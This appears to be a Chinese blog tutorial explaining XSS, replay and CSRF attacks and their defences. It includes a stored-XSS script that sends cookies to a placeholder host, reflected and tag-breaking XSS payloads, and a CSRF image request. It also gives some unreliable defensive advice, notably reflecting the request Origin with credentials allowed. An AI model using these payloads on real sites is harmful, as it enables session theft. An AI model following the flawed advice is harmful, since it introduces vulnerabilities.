web安全大讲堂

xss攻击与防御

概念

xss,跨站脚本攻击,指在目标网页里插入一段JavaScript脚本,用户访问时执行该脚本。可用于窃取用户cookie信息,或监听用户在网页内的行为(如输入表单密码等)。

xss可分为反射型和存储型。存储型指攻击代码存储于数据库(或其他存储介质)中,每次访问都会执行,会影响所有或多数用户。而反射型则是即时的,用户通过某种途径触发,一般只影响单个用户。反射型可在某些条件下转变为存储型。

攻击手段

存储型xss

一般通过表单提交的方式,并且提交的内容会显示在页面上。例如评论框、留言框、博客等等。

<form action="xx">
    <textarea name="xxx" value="
        <script>
            // xss攻击代码
            var imgEle = document.createElement('img');
            imgEle.setAttribute('src', 'http://www.xxx.com?cookie=' + document.cookie);
            imgEle.style.visible = 'hidden';
            document.body.appendChild(imgEle);
        </script>
    "></textarea>
</form>


反射型xss

反射型xss主要是骗取用户点击某条插入了攻击代码的链接,从而利用该网站的漏洞执行攻击代码。

例如用户点击  http://www.xxx.com/abc?name=<script>alert(1)</script>

而这个接口会将name打印在页面上,这时候攻击代码就被执行了。

高级应用

有的时候输入到页面里的值是存在于标签中的,例如:

<input name="xxx"value="<?php echo $name; ?>"/>

这时候攻击代码应该主动闭合前后标签。即插入name的值为:

"/><script>alert(1)</script><input type="hidden

xss的防御

字符转义

所有的js都得依托于html标签或其他特定字符(如括号)来执行,而实际上标签和括号都是可以转义成实体字符的(详见http://www.w3school.com.cn/html/html_entities.asp)。标签会被解析执行,而实体字符只会显示。

可以利用一些转义函数,将特殊字符转义。如PHP的 htmlspecialchars 函数(注意,该函数不能转义括号)。如果是callback之类的,输出的字符集是限定的,可以用正则的 /^\w$/来匹配

所有来自于前端的变量都不要直接输出到页面!如果要输出,转义后再输出。

去除jsonp

jsonp是一种跨域解决方案,因为js文件的获取是不受浏览器跨域限制的。服务端按客户端的需求将返回内容包装成一段js,交由客户端去执行获取内容。

这种方案一方面会导致信息泄露,另一方面,则增加了xss风险。

目前已经有成熟的跨域允许访问头,单域授权即可。

access-Control-Allow-Origin:$_SERVER["HTTP_ORIGIN"]
access-Control-Allow-Credentials: true

重放攻击

概念

重放攻击又叫重播攻击、回放攻击,指将一个已经被服务端接收的请求再原样重发一次。一般由中间人发起,或者是访问者发起批量请求。

重放攻击不需要了解通信是否加密,内容是什么,也就是无脑重发协议包。

攻击方式

批量请求

如论坛评论不断刷屏,即能影响正常用户体验,又能刷积分,还能增加服务器、数据库负担。

中间人重放

如退出登录请求被中间人拦截,中间人不断的重发退出登录请求,用户的正常体验将收到巨大的影响。

防御措施

https

https会进行客户端和服务端双重验证,中间人不知道双方密钥的情况下是没法拦截到请求得到其中的真正内容的。而https成本相对低廉,门槛也不高。所以,全站https是防御重放攻击的最佳手段

缓存防护

每次请求都加进redis,保存一定时间(一般60秒足够了,太多将加重服务器负担),每次请求校验redis中是否存在该链接,有则拒绝访问。

主要是为了防止并发

redis缓存失效后的防护依托于时间戳校验。

校验时间戳

每个请求都带上时间戳,服务器校验时间戳是否在允许范围内,不在范围内则拒绝访问

注意:

  1. 时间戳校验必须有个阈值,因为请求发起和接收的时间差不可控(受网络环境影响)
  2. 服务端时间和客户端时间不一定一致(如服务端采用伦敦时区,或者用户手动更改计算机时间),所以需要先获取两端时间差,每次时间戳需要把偏移量计算进去

防篡改

时间戳很容易被修改,所以可以计算签名,当参数被篡改时,攻击者无法计算出篡改后的签名,在服务端验签失败,拒绝访问。

思路:客户端和服务端保留同一个加密串,把所有参数(含时间戳)以某种规则进行不可逆加密生成签名,并将签名添加到参数里一起发送。服务端接收到请求后,将除了签名之外的参数加密,并和发送过来的签名进行比较,不同则为非法请求。

nonceStr混淆

若参数是可遍历的(例如,时间戳可递增,每秒请求一次),则可以得出无数组时间戳和签名的对照关系,量级上去了可能被破解出密钥。

解决方法是每次请求都加入一个随机串nonceStr,使得签名更加的无迹可寻。

注:一些系统的实现是由服务端生成nonceStr,比对nonceStr。但这样第一增加了复杂度,第二增加了响应时间,不建议这样做。

csrf攻击与防御

概念

跨站请求伪造,指用户在访问A网站后访问B网站,B网站在用户不知情的情况下伪造了A网站的请求,伪造用户执行了一些敏感操作,从而损坏用户的权益。

注意,这里的伪造不包括更改http包配置。

攻击方式

浏览器在发送一个域的请求时,会自动带上这个域的cookie。

一般来说,浏览器对跨域请求的post会进行拦截,但对get是不会拦截的。

所以一般只要在B网站放一个引向A网站的图片链接就好了。例如:

<img src="http://www.a.com/doSomething"/>

防御手段

全站post

简洁明了,让浏览器帮我们拦截一下。

同时post可以防止被中间的网络节点记录或缓存。

referer验证

正常请求都会带上发起请求的网站的referer,直接在浏览器里访问则为空。

所以只要校验referer是否在白名单中,不在则拒绝访问。

csrf验证

一阶

 js是没法获取到跨域的cookie的。(设为httponly则连本域的js也获取不到,所以不能把cookie设置成httponly

也就是说,B网站只能借助浏览器的自动发送cookie,而在B网站内是捕获不到cookie的。

所以,如果我们要求接口必须带上cookie中的某个值,A网站的js能捕获到并且加进去,B网站就只能望尘莫及了。

当这个值匹配不上,或者不存在这个值,或者不存在这个cookie,即判定为非法请求。

二阶

如果cookie值是固定的,那么B网站同样是可以猜出来并且添加进去的。所以这个cookie值一般是动态的,我们称之为 csrf token。

后端在响应html请求时,响应头返回 set-cookie,把token设置在客户端,并且设置为session级别。

这样,每次用户打开浏览器访问网站时,获取到的token都是随机的。

三阶

理论上只要请求参数和cookie中的token都存在并且匹配,那么请求就是合法的。所以实际上随便设置cookie的值,都不会有影响。

所以token的值可以由服务端进行可逆加密,传上来之后进行解密,若无法解或者解开不是约定值,则判断为非法请求。

弊端

这种方案严格限定跨域,即使是在nginx里设置,或者返回跨域头,都没法跨域。所以,如果应用自身有跨域需求,将受到影响。

猜你喜欢

转载自blog.csdn.net/sysuzjz/article/details/78978634
今日推荐